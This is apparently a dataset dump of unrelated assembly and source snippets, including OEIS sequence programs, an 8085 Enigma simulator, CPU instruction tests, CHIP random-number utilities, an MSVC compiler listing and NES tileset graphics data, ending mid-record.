text
stringlengths
1
1.05M
; A118536: Start with 1 and repeatedly reverse the digits and add 36 to get the next term. ; 1,37,109,937,775,613,352,289,1018,8137,7354,4573,3790,1009,9037,7345,5473,3781,1909,9127,7255,5563,3691,1999,10027,72037,73063,36073,37099,99109,90235,53245,54271,17281,18307,70417,71443,34453,35479,97489,98515,51625,52651,15661,16687,78697,79723,32833,33859,95869,96895,59905,51031,13051,15067,76087,78103,30223,32239,93259,95275,57295,59311,11431,13447,74467,76483,38503,30619,91639,93655,55675,57691,19711,11827,72847,74863,36883,38899,99919,92035,53065,56071,17101,10207,70237,73243,34273,37279 mov $2,$0 mov $0,1 lpb $2 seq $0,4086 ; Read n backwards (referred to as R(n) in many sequences). add $0,36 sub $2,1 lpe
;Program to simulate ENIGMA Machine jmp start ;Data rot1: db 07h, 00h, 03h, 06h, 04h, 01h, 08h, 02h, 05h, 09h rot2: db 01h, 03h, 06h, 07h, 00h, 05h, 02h, 04h, 08h, 09h rot3: db 07h, 01h, 02h, 00h, 05h, 03h, 08h, 06h, 04h, 09h refl: db 07h, 05h, 09h, 04h, 03h, 01h, 08h, 00h, 06h, 02h post: ds 3 text: ds 1 ciph: ds 1 ;Get Settings start: in 10h ani 0fh sta post in 11h ani 0fh sta post+1 in 12h ani 0fh sta post+2 ;Start ENIGMA textin: in 13h sta text sta ciph ;Rotor 1 rota1: lxi H, post inr M mov A, M cpi 0Ah jc next1 sui 0Ah mov M, A inx H inr M next1: mov E, A lxi H, rot1 mov A, L adi 0Ah mov C, A mvi D, 00h dad D lda ciph add L cmp C jc skip1 sui 0Ah skip1: mov L, A mov A, M sta ciph ;Rotor 2 rota2: lxi H, post+1 mov A, M cpi 0Ah jc next2 sui 0Ah mov M, A inx H inr M next2: mov E, A lxi H, rot2 mov A, L adi 0Ah mov C, A dad D lda ciph add L cmp C jc skip2 sui 0Ah skip2: mov L, A mov A, M sta ciph ;Rotor 3 rota3: lxi H, post+2 mov A, M cpi 0Ah jc next3 sui 0Ah mov M, A next3: mov E, A lxi H, rot3 mov A, L adi 0Ah mov C, A dad D lda ciph add L cmp C jc skip3 sui 0Ah skip3: mov L, A mov A, M sta ciph ;Reflection Module refl1: lxi H, refl mov A, L adi 0Ah mov C, A lda ciph add L cmp C jc skip4 sui 0Ah skip4: mov L, A mov A, M sta ciph ;Inverse 1 (Rotor 3) invr1: mov B, A mvi C, 0ffh lxi H, rot3 mov A, L adi 0Ah mov D, A lxi H, post+2 mov A, M lxi H, rot3 add L mov L, A comp1: inr C mov E, M inx H mov A, L cmp D jc skip5 sui 0Ah mov L, A skip5: mov A, E cmp B jnz comp1 mov A, C sta ciph ;Inverse 2 (Rotor 2) invr2: mov B, A mvi C, 0ffh lxi H, rot2 mov A, L adi 0Ah mov D, A lxi H, post+1 mov A, M lxi H, rot2 add L mov L, A comp2: inr C mov E, M inx H mov A, L cmp D jc skip6 sui 0Ah mov L, A skip6: mov A, E cmp B jnz comp2 mov A, C sta ciph ;Inverse 3 (Rotor 1) invr3: mov B, A mvi C, 0ffh lxi H, rot1 mov A, L adi 0Ah mov D, A lxi H, post mov A, M lxi H, rot1 add L mov L, A comp3: inr C mov E, M inx H mov A, L cmp D jc skip7 sui 0Ah mov L, A skip7: mov A, E cmp B jnz comp3 mov A, C sta ciph ;Show output mvi B, 00h out 14h hlt
lc r4, 0x00000001 lc r5, 0xfffffffe gts r6, r4, r5 halt #@expected values #r4 = 0x00000001 #r5 = 0xfffffffe #r6 = 0x00000001 #pc = -2147483632 #e0 = 0 #e1 = 0 #e2 = 0 #e3 = 0
; A037878: (1/2)*Sum{|d(i)-e(i)|}, where Sum{d(i)*10^i} is base 10 representation of n and e(i) are digits d(i) in nonincreasing order, for i=0,1,...,m. ; 0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,2,1,0,0,0,0,0,0,0,0,3,2,1,0,0,0,0,0,0,0,4,3,2,1,0,0,0,0,0,0,5,4,3,2,1,0,0,0,0,0,6,5,4,3,2,1,0,0,0,0,7,6,5,4,3,2,1,0,0,0,8,7,6,5,4,3,2,1,0,0,9 mov $3,2 add $3,$0 mov $0,$3 lpb $0,1 sub $0,1 mov $1,$2 trn $1,$0 sub $0,7 trn $0,2 add $2,1 lpe
// // The MIT License(MIT) // // Copyright(c) 2014 Demonsaw LLC // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. #include "entity/entity.h" #include "entity/entity_type.h" namespace eja { // Constructor entity_type::entity_type(const entity::ptr entity, QObject* parent /*= nullptr*/) : entity_type(parent) { set_entity(entity); } }
/* * All Video Processing kernels * Copyright © <2010>, Intel Corporation. * * This program is licensed under the terms and conditions of the * Eclipse Public License (EPL), version 1.0. The full text of the EPL is at * http://www.opensource.org/licenses/eclipse-1.0.php. * */ #define DI_DISABLE #include "DNDI.inc" #undef nY_NUM_OF_ROWS #define nY_NUM_OF_ROWS 8 // Number of Y rows per block #undef nSMPL_RESP_LEN #define nSMPL_RESP_LEN nSMPL_RESP_LEN_DN_PL // Set the Number of GRFs in DNDI response #undef nDPW_BLOCK_SIZE_DN #define nDPW_BLOCK_SIZE_DN nBLOCK_WIDTH_16+nBLOCK_HEIGHT_8 // DN Curr Block Size for Write is 16x8 #undef nDPW_BLOCK_SIZE_HIST #define nDPW_BLOCK_SIZE_HIST nBLOCK_WIDTH_4+nBLOCK_HEIGHT_2 // HIST Block Size for Write is 4x2 ////////////////////////////////////// Run the DN Algorithm /////////////////////////////////////// #include "DNDI_COMMAND.asm" ////////////////////////////////////// Rearrange for Internal Planar ////////////////////////////// $for (0; <nY_NUM_OF_ROWS; 1) { mov (16) uwDEST_Y(0,%1*16)<1> ubRESP(nNODI_LUMA_OFFSET,%1*16)<16;16,1> // copy line of Y } ////////////////////////////////////// Save the History Data for Next Run ///////////////////////// #include "DNDI_Hist_Save.asm"
; A070717: a(n) = n^7 mod 36. ; 0,1,20,27,4,5,0,7,8,9,28,11,0,13,32,27,16,17,0,19,20,9,4,23,0,25,8,27,28,29,0,31,32,9,16,35,0,1,20,27,4,5,0,7,8,9,28,11,0,13,32,27,16,17,0,19,20,9,4,23,0,25,8,27,28,29,0,31,32,9,16,35,0,1,20,27,4,5,0,7,8,9,28,11,0,13,32,27,16,17,0,19,20,9,4,23,0,25,8,27 pow $0,7 mod $0,36
addi x10, x0, 2 addi x11, x0, 3 addi x12, x0, 4 addi x13, x0, 8 sw x10, 0, x0 sw x11, 4, x0 sw x12, 8, x0 amoand.w x20, x12, x0 amoor.w x21, x13, x13
/* * * Copyright (c) 2020 Project CHIP Authors * Copyright (c) 2013-2017 Nest Labs, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * This file implements utility functions for deriving random integers. * * @note These utility functions do not generate cryptographically strong * random number. To get cryptographically strong random data use * chip::Crypto::DRBG_get_bytes(). * */ #include "RandUtils.h" #include <limits.h> #include <stdint.h> #include <stdlib.h> #ifndef __STDC_LIMIT_MACROS #define __STDC_LIMIT_MACROS #endif namespace chip { /** * @def NORMALIZED_RAND_RANGE(reqRange) * * This macro calculates normalized range for the output of rand() function * based on the requested random range [0, reqRange]. * * @note * For most of the platforms we support, RAND_MAX is usually 0x7FFF or 0x7FFFFFFF. * In these cases normalization for ranges [0, UINT8_MAX] or [0, UINT16_MAX] * is not needed. * * @param[in] reqRange The requested random number range. * * @return normalized random range. * */ #define NORMALIZED_RAND_RANGE(reqRange) (((reqRange) + 1) * ((RAND_MAX + 1) / ((reqRange) + 1))) #if RAND_MAX < UINT8_MAX #error "RAND_MAX value is too small. RandUtils functions assume that RAND_MAX is greater or equal to UINT8_MAX." #endif uint64_t GetRandU64() { // rand() returns int, which is always smaller than the size of uint64_t // and rand() cannot be used directly to generate random uint64_t number. return static_cast<uint64_t>(GetRandU32()) ^ (static_cast<uint64_t>(GetRandU32()) << (sizeof(uint32_t) * CHAR_BIT)); } uint32_t GetRandU32() { // Check if (RAND_MAX == UINT32_MAX) but it is unlikely because rand() returns signed int, // which maximum possible value is 0x7FFFFFFF (smaller that UINT32_MAX = 0xFFFFFFFF). #if RAND_MAX == UINT32_MAX return static_cast<uint32_t>(rand()); #else return static_cast<uint32_t>(GetRandU16()) ^ (static_cast<uint32_t>(GetRandU16()) << (sizeof(uint16_t) * CHAR_BIT)); #endif } uint16_t GetRandU16() { #if RAND_MAX >= UINT16_MAX #if (RAND_MAX == INT_MAX) || (RAND_MAX == NORMALIZED_RAND_RANGE(UINT16_MAX)) // rand() random output range normalization is not needed. return static_cast<uint16_t>(rand()); #else // Otherwise, Normilize the output range of rand() and reject rand() outputs outside of that range. while (true) { int r = rand(); if (r < NORMALIZED_RAND_RANGE(UINT16_MAX)) return static_cast<uint16_t>(r); } #endif #else return static_cast<uint16_t>(GetRandU8()) ^ (static_cast<uint16_t>(GetRandU8()) << CHAR_BIT); #endif } uint8_t GetRandU8() { #if (RAND_MAX == INT_MAX) || (RAND_MAX == NORMALIZED_RAND_RANGE(UINT8_MAX)) // rand() random output range normalization is not needed. return static_cast<uint8_t>(rand()); #else // Otherwise, Normilize the output range of rand() and reject rand() outputs outside of that range. while (true) { int r = rand(); if (r < NORMALIZED_RAND_RANGE(UINT8_MAX)) return static_cast<uint8_t>(r); } #endif } } // namespace chip
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27026.1 include listing.inc INCLUDELIB MSVCRTD INCLUDELIB OLDNAMES _DATA SEGMENT COMM uint_number_zero:QWORD COMM uint_number_one:QWORD _DATA ENDS msvcjmc SEGMENT __7B7A869E_ctype@h DB 01H __457DD326_basetsd@h DB 01H __4384A2D9_corecrt_memcpy_s@h DB 01H __4E51A221_corecrt_wstring@h DB 01H __2140C079_string@h DB 01H __1887E595_winnt@h DB 01H __9FC7C64B_processthreadsapi@h DB 01H __FA470AEC_memoryapi@h DB 01H __F37DAFF1_winerror@h DB 01H __7A450CCC_winbase@h DB 01H __B4B40122_winioctl@h DB 01H __86261D59_stralign@h DB 01H __9DF65EBA_pmc_to@c DB 01H msvcjmc ENDS PUBLIC PMC_To_X_I PUBLIC PMC_To_X_L PUBLIC __JustMyCode_Default EXTRN CheckNumber:PROC EXTRN _RTC_CheckStackVars:PROC EXTRN _RTC_InitBase:PROC EXTRN _RTC_Shutdown:PROC EXTRN __CheckForDebuggerJustMyCode:PROC EXTRN __GSHandlerCheck:PROC EXTRN __security_check_cookie:PROC EXTRN ep_uint:BYTE EXTRN __security_cookie:QWORD ; COMDAT pdata pdata SEGMENT $pdata$PMC_To_X_I DD imagerel $LN11 DD imagerel $LN11+296 DD imagerel $unwind$PMC_To_X_I pdata ENDS ; COMDAT pdata pdata SEGMENT $pdata$PMC_To_X_L DD imagerel $LN11 DD imagerel $LN11+316 DD imagerel $unwind$PMC_To_X_L pdata ENDS ; COMDAT rtc$TMZ rtc$TMZ SEGMENT _RTC_Shutdown.rtc$TMZ DQ FLAT:_RTC_Shutdown rtc$TMZ ENDS ; COMDAT rtc$IMZ rtc$IMZ SEGMENT _RTC_InitBase.rtc$IMZ DQ FLAT:_RTC_InitBase rtc$IMZ ENDS ; COMDAT xdata xdata SEGMENT $unwind$PMC_To_X_L DD 025054019H DD 01132318H DD 0700c002dH DD 0500bH DD imagerel __GSHandlerCheck DD 0158H xdata ENDS ; COMDAT CONST CONST SEGMENT PMC_To_X_L$rtcName$0 DB 070H DB 05fH DB 061H DB 062H DB 073H DB 00H ORG $+10 PMC_To_X_L$rtcVarDesc DD 088H DD 08H DQ FLAT:PMC_To_X_L$rtcName$0 ORG $+48 PMC_To_X_L$rtcFrameData DD 01H DD 00H DQ FLAT:PMC_To_X_L$rtcVarDesc CONST ENDS ; COMDAT xdata xdata SEGMENT $unwind$PMC_To_X_I DD 025054019H DD 01132318H DD 0700c002dH DD 0500bH DD imagerel __GSHandlerCheck DD 0158H xdata ENDS ; COMDAT CONST CONST SEGMENT PMC_To_X_I$rtcName$0 DB 070H DB 05fH DB 061H DB 062H DB 073H DB 00H ORG $+10 PMC_To_X_I$rtcVarDesc DD 084H DD 04H DQ FLAT:PMC_To_X_I$rtcName$0 ORG $+48 PMC_To_X_I$rtcFrameData DD 01H DD 00H DQ FLAT:PMC_To_X_I$rtcVarDesc CONST ENDS ; Function compile flags: /Odt ; COMDAT __JustMyCode_Default _TEXT SEGMENT __JustMyCode_Default PROC ; COMDAT ret 0 __JustMyCode_Default ENDP _TEXT ENDS ; Function compile flags: /Odtp /RTCsu /ZI ; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.sint\palmtree.math.core.sint\pmc_to.c ; COMDAT PMC_To_X_L _TEXT SEGMENT np$ = 8 result$ = 36 p_sign$ = 68 p_abs$ = 104 __$ArrayPad$ = 312 p$ = 352 o$ = 360 PMC_To_X_L PROC ; COMDAT ; 58 : { $LN11: mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+8], rcx push rbp push rdi sub rsp, 360 ; 00000168H lea rbp, QWORD PTR [rsp+32] mov rdi, rsp mov ecx, 90 ; 0000005aH mov eax, -858993460 ; ccccccccH rep stosd mov rcx, QWORD PTR [rsp+392] mov rax, QWORD PTR __security_cookie xor rax, rbp mov QWORD PTR __$ArrayPad$[rbp], rax lea rcx, OFFSET FLAT:__9DF65EBA_pmc_to@c call __CheckForDebuggerJustMyCode ; 59 : NUMBER_HEADER* np = (NUMBER_HEADER*)p; mov rax, QWORD PTR p$[rbp] mov QWORD PTR np$[rbp], rax ; 60 : PMC_STATUS_CODE result; ; 61 : if ((result = CheckNumber(np)) != PMC_STATUS_OK) mov rcx, QWORD PTR np$[rbp] call CheckNumber mov DWORD PTR result$[rbp], eax cmp DWORD PTR result$[rbp], 0 je SHORT $LN2@PMC_To_X_L ; 62 : return (result); mov eax, DWORD PTR result$[rbp] jmp $LN1@PMC_To_X_L $LN2@PMC_To_X_L: ; 63 : char p_sign = np->SIGN; mov rax, QWORD PTR np$[rbp] movzx eax, BYTE PTR [rax+24] mov BYTE PTR p_sign$[rbp], al ; 64 : _UINT64_T p_abs; ; 65 : if ((result = ep_uint.To_X_L(np->ABS, &p_abs)) != PMC_STATUS_OK) lea rdx, QWORD PTR p_abs$[rbp] mov rax, QWORD PTR np$[rbp] mov rcx, QWORD PTR [rax+16] call QWORD PTR ep_uint+80 mov DWORD PTR result$[rbp], eax cmp DWORD PTR result$[rbp], 0 je SHORT $LN3@PMC_To_X_L ; 66 : return (result); mov eax, DWORD PTR result$[rbp] jmp SHORT $LN1@PMC_To_X_L $LN3@PMC_To_X_L: ; 67 : if (p_sign == 0) movsx eax, BYTE PTR p_sign$[rbp] test eax, eax jne SHORT $LN4@PMC_To_X_L ; 68 : *o = 0; mov rax, QWORD PTR o$[rbp] mov QWORD PTR [rax], 0 jmp SHORT $LN5@PMC_To_X_L $LN4@PMC_To_X_L: ; 69 : else if (p_sign > 0) movsx eax, BYTE PTR p_sign$[rbp] test eax, eax jle SHORT $LN6@PMC_To_X_L ; 70 : { ; 71 : if (p_abs > 0x7fffffffffffffffLU) mov rax, 9223372036854775807 ; 7fffffffffffffffH cmp QWORD PTR p_abs$[rbp], rax jbe SHORT $LN8@PMC_To_X_L ; 72 : return (PMC_STATUS_OVERFLOW); mov eax, -2 jmp SHORT $LN1@PMC_To_X_L $LN8@PMC_To_X_L: ; 73 : *o = (_INT64_T)p_abs; mov rax, QWORD PTR o$[rbp] mov rcx, QWORD PTR p_abs$[rbp] mov QWORD PTR [rax], rcx ; 74 : } jmp SHORT $LN7@PMC_To_X_L $LN6@PMC_To_X_L: ; 75 : else ; 76 : { ; 77 : if (p_abs > 0x8000000000000000LU) mov rax, -9223372036854775808 ; 8000000000000000H cmp QWORD PTR p_abs$[rbp], rax jbe SHORT $LN9@PMC_To_X_L ; 78 : return (PMC_STATUS_OVERFLOW); mov eax, -2 jmp SHORT $LN1@PMC_To_X_L $LN9@PMC_To_X_L: ; 79 : *o = -(_INT64_T)p_abs; mov rax, QWORD PTR p_abs$[rbp] neg rax mov rcx, QWORD PTR o$[rbp] mov QWORD PTR [rcx], rax $LN7@PMC_To_X_L: $LN5@PMC_To_X_L: ; 80 : } ; 81 : return (PMC_STATUS_OK); xor eax, eax $LN1@PMC_To_X_L: ; 82 : } mov rdi, rax lea rcx, QWORD PTR [rbp-32] lea rdx, OFFSET FLAT:PMC_To_X_L$rtcFrameData call _RTC_CheckStackVars mov rax, rdi mov rcx, QWORD PTR __$ArrayPad$[rbp] xor rcx, rbp call __security_check_cookie lea rsp, QWORD PTR [rbp+328] pop rdi pop rbp ret 0 PMC_To_X_L ENDP _TEXT ENDS ; Function compile flags: /Odtp /RTCsu /ZI ; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.sint\palmtree.math.core.sint\pmc_to.c ; COMDAT PMC_To_X_I _TEXT SEGMENT np$ = 8 result$ = 36 p_sign$ = 68 p_abs$ = 100 __$ArrayPad$ = 312 p$ = 352 o$ = 360 PMC_To_X_I PROC ; COMDAT ; 31 : { $LN11: mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+8], rcx push rbp push rdi sub rsp, 360 ; 00000168H lea rbp, QWORD PTR [rsp+32] mov rdi, rsp mov ecx, 90 ; 0000005aH mov eax, -858993460 ; ccccccccH rep stosd mov rcx, QWORD PTR [rsp+392] mov rax, QWORD PTR __security_cookie xor rax, rbp mov QWORD PTR __$ArrayPad$[rbp], rax lea rcx, OFFSET FLAT:__9DF65EBA_pmc_to@c call __CheckForDebuggerJustMyCode ; 32 : NUMBER_HEADER* np = (NUMBER_HEADER*)p; mov rax, QWORD PTR p$[rbp] mov QWORD PTR np$[rbp], rax ; 33 : PMC_STATUS_CODE result; ; 34 : if ((result = CheckNumber(np)) != PMC_STATUS_OK) mov rcx, QWORD PTR np$[rbp] call CheckNumber mov DWORD PTR result$[rbp], eax cmp DWORD PTR result$[rbp], 0 je SHORT $LN2@PMC_To_X_I ; 35 : return (result); mov eax, DWORD PTR result$[rbp] jmp $LN1@PMC_To_X_I $LN2@PMC_To_X_I: ; 36 : char p_sign = np->SIGN; mov rax, QWORD PTR np$[rbp] movzx eax, BYTE PTR [rax+24] mov BYTE PTR p_sign$[rbp], al ; 37 : _UINT32_T p_abs; ; 38 : if ((result = ep_uint.To_X_I(np->ABS, &p_abs)) != PMC_STATUS_OK) lea rdx, QWORD PTR p_abs$[rbp] mov rax, QWORD PTR np$[rbp] mov rcx, QWORD PTR [rax+16] call QWORD PTR ep_uint+72 mov DWORD PTR result$[rbp], eax cmp DWORD PTR result$[rbp], 0 je SHORT $LN3@PMC_To_X_I ; 39 : return (result); mov eax, DWORD PTR result$[rbp] jmp SHORT $LN1@PMC_To_X_I $LN3@PMC_To_X_I: ; 40 : if (p_sign == 0) movsx eax, BYTE PTR p_sign$[rbp] test eax, eax jne SHORT $LN4@PMC_To_X_I ; 41 : *o = 0; mov rax, QWORD PTR o$[rbp] mov DWORD PTR [rax], 0 jmp SHORT $LN5@PMC_To_X_I $LN4@PMC_To_X_I: ; 42 : else if (p_sign > 0) movsx eax, BYTE PTR p_sign$[rbp] test eax, eax jle SHORT $LN6@PMC_To_X_I ; 43 : { ; 44 : if (p_abs > 0x7fffffffU) cmp DWORD PTR p_abs$[rbp], 2147483647 ; 7fffffffH jbe SHORT $LN8@PMC_To_X_I ; 45 : return (PMC_STATUS_OVERFLOW); mov eax, -2 jmp SHORT $LN1@PMC_To_X_I $LN8@PMC_To_X_I: ; 46 : *o = (_INT32_T)p_abs; mov rax, QWORD PTR o$[rbp] mov ecx, DWORD PTR p_abs$[rbp] mov DWORD PTR [rax], ecx ; 47 : } jmp SHORT $LN7@PMC_To_X_I $LN6@PMC_To_X_I: ; 48 : else ; 49 : { ; 50 : if (p_abs > 0x80000000U) cmp DWORD PTR p_abs$[rbp], -2147483648 ; 80000000H jbe SHORT $LN9@PMC_To_X_I ; 51 : return (PMC_STATUS_OVERFLOW); mov eax, -2 jmp SHORT $LN1@PMC_To_X_I $LN9@PMC_To_X_I: ; 52 : *o = -(_INT32_T)p_abs; mov eax, DWORD PTR p_abs$[rbp] neg eax mov rcx, QWORD PTR o$[rbp] mov DWORD PTR [rcx], eax $LN7@PMC_To_X_I: $LN5@PMC_To_X_I: ; 53 : } ; 54 : return (PMC_STATUS_OK); xor eax, eax $LN1@PMC_To_X_I: ; 55 : } mov rdi, rax lea rcx, QWORD PTR [rbp-32] lea rdx, OFFSET FLAT:PMC_To_X_I$rtcFrameData call _RTC_CheckStackVars mov rax, rdi mov rcx, QWORD PTR __$ArrayPad$[rbp] xor rcx, rbp call __security_check_cookie lea rsp, QWORD PTR [rbp+328] pop rdi pop rbp ret 0 PMC_To_X_I ENDP _TEXT ENDS END
MENU_CONFIG_TILESET_BANK_NUMBER = CURRENT_BANK_NUMBER #include "game/data/menu_config/spriteset.asm" tileset_menu_config: ; Tileset's size in tiles (zero means 256) .byt (tileset_menu_config_end-tileset_menu_config_tiles)/16 tileset_menu_config_tiles: .byt %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000 .byt %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000 .byt %00000001, %00000000, %00000000, %00000001, %00000000, %00001010, %00000100, %00001110 .byt %00000001, %00000111, %00001111, %00001110, %00001110, %00001110, %00001110, %00001110 .byt %11111111, %01111110, %10000001, %00000000, %00000000, %00000000, %00000000, %00000000 .byt %11111111, %10000001, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000 .byt %10000111, %00000100, %00000000, %10000000, %00000000, %01010001, %00100010, %01110011 .byt %10000111, %11100011, %11110011, %01110011, %01110011, %01110011, %01110011, %01110011 .byt %11111111, %01111110, %00000001, %00000000, %00000000, %00000000, %10000000, %11111111 .byt %11111111, %10000001, %10000000, %10000000, %10000000, %10000000, %10000001, %11111111 .byt %11001111, %00000011, %00000100, %00001000, %00000000, %01010000, %10100000, %11000000 .byt %11001111, %11101100, %11111000, %11110000, %11110000, %11100000, %11000000, %10000000 .byt %11111111, %11000011, %00000000, %00000000, %00000000, %00100100, %00011000, %00111100 .byt %11111111, %00111100, %00111100, %00111100, %00111100, %00111100, %00111100, %00111100 .byt %11110111, %11000100, %00100000, %00010000, %00000000, %00000001, %00000010, %00000011 .byt %11110111, %00110011, %00010011, %00000011, %00000011, %00000011, %00000011, %00000011 .byt %11000001, %01000000, %00000000, %00000001, %00000000, %00001010, %10000100, %10001110 .byt %11000001, %10000111, %10001111, %10001110, %10001110, %10001110, %10001110, %10001110 .byt %10001111, %00001000, %00000000, %10000000, %00000000, %01010010, %00100101, %01110111 .byt %10001111, %11100111, %11110111, %01110111, %01110111, %01110111, %01110111, %01110111 .byt %10000001, %00000001, %10000000, %01000000, %00100000, %00011000, %00001101, %00000111 .byt %10000001, %11000000, %01100000, %00110000, %00011000, %00001100, %00000111, %00000011 .byt %11110001, %00010000, %00000000, %00000000, %00000000, %10100101, %01000010, %11100111 .byt %11110001, %11100011, %11100111, %11100111, %11100111, %11100111, %11100111, %11100011 .byt %11111111, %00111100, %01000010, %00000000, %00000000, %00000011, %10000000, %11111111 .byt %11111111, %11000011, %10000001, %10000001, %10000011, %10000000, %11000000, %11111111 .byt %10000000, %00000000, %00000000, %00000000, %00000000, %11110000, %00000000, %00000000 .byt %10000000, %11000000, %11100000, %11100000, %11110000, %00000000, %00000000, %00000000 .byt %00001110, %00001010, %00000000, %00000100, %00000000, %00001000, %00000100, %00000011 .byt %00001110, %00001110, %00001110, %00001110, %00001111, %00000111, %00000011, %00000000 .byt %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %11111111 .byt %00000000, %00000000, %00000000, %00000000, %00000000, %10000001, %11111111, %00000000 .byt %01110011, %01010001, %00000000, %00100010, %00000000, %00010000, %00100000, %11000111 .byt %01110011, %01110011, %01110011, %01110011, %11110011, %11100011, %11000111, %00000000 .byt %11111111, %00000000, %00000000, %10000000, %00000000, %00000000, %00000000, %11000000 .byt %10000000, %10000000, %10000000, %10000000, %10000000, %10000000, %11000000, %00000000 .byt %10000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000 .byt %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000 .byt %00111100, %00100100, %00000000, %00011000, %00000000, %00000000, %10000000, %11111111 .byt %00111100, %00111100, %00111100, %00111100, %00111100, %00111100, %01111111, %00000000 .byt %00000011, %00000001, %00000000, %00000010, %00000000, %00000000, %00000000, %00000111 .byt %00000011, %00000011, %00000011, %00000011, %00000011, %00000011, %00000111, %00000000 .byt %10001110, %00001010, %00000000, %10000100, %00000000, %00001000, %00000100, %11000011 .byt %10001110, %10001110, %10001110, %10001110, %10001111, %10000111, %11000011, %00000000 .byt %01110111, %01010010, %00000000, %00100101, %00000000, %00010000, %00100000, %11001111 .byt %01110111, %01110111, %01110111, %01110111, %11110111, %11100111, %11001111, %00000000 .byt %00000011, %00000001, %00000000, %00000000, %00000000, %00000000, %00000000, %10000001 .byt %00000001, %00000000, %00000000, %00000000, %00000000, %00000000, %10000001, %00000000 .byt %11100011, %10100000, %00000000, %01000010, %00000100, %00000000, %00000010, %11110001 .byt %11100000, %11100000, %11100000, %11100111, %11100011, %11100011, %11110001, %00000000 .byt %11111111, %00000000, %00000000, %10000001, %01000000, %00000000, %00000000, %11111111 .byt %00000011, %00000011, %00000001, %11000001, %10000001, %10000011, %11111111, %00000000 .byt %10000000, %10000000, %00000000, %01000000, %00000000, %00100000, %01000000, %10000000 .byt %10000000, %11000000, %11100000, %11100000, %11100000, %11000000, %10000000, %00000000 .byt %00000000, %01111111, %01111111, %01111111, %01111111, %01111111, %01111111, %01111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %00000000, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111100, %00000011, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %00000011, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %00000001, %11111110, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111110, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %10000000, %01111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %01111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %00001111, %11110000, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11110000, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11100000, %00011111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %00011111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %00010000, %11101111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11101111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %00111111, %11000000, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11000000, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11100000, %00011111, %11111111, %11111111, %11111111, %11111111, %11111100, %11101010 .byt %00011111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111101 .byt %00000000, %11111111, %11111111, %11111111, %11111111, %11111111, %11111110, %11111100 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %00000000, %11111110, %11111110, %11111110, %11111110, %11111110, %11111110, %11111110 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %00111111, %00111111 .byt %01111111, %01111110, %01111110, %01111110, %01111110, %01111110, %01111110, %01111110 .byt %11111110, %11111101, %11111101, %11111101, %11111101, %11111101, %11111101, %11111101 .byt %01010010, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %10101111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11110101, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %00001111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %01111110, %01111110, %01111110, %01111110, %11111101, %11111101, %11111101, 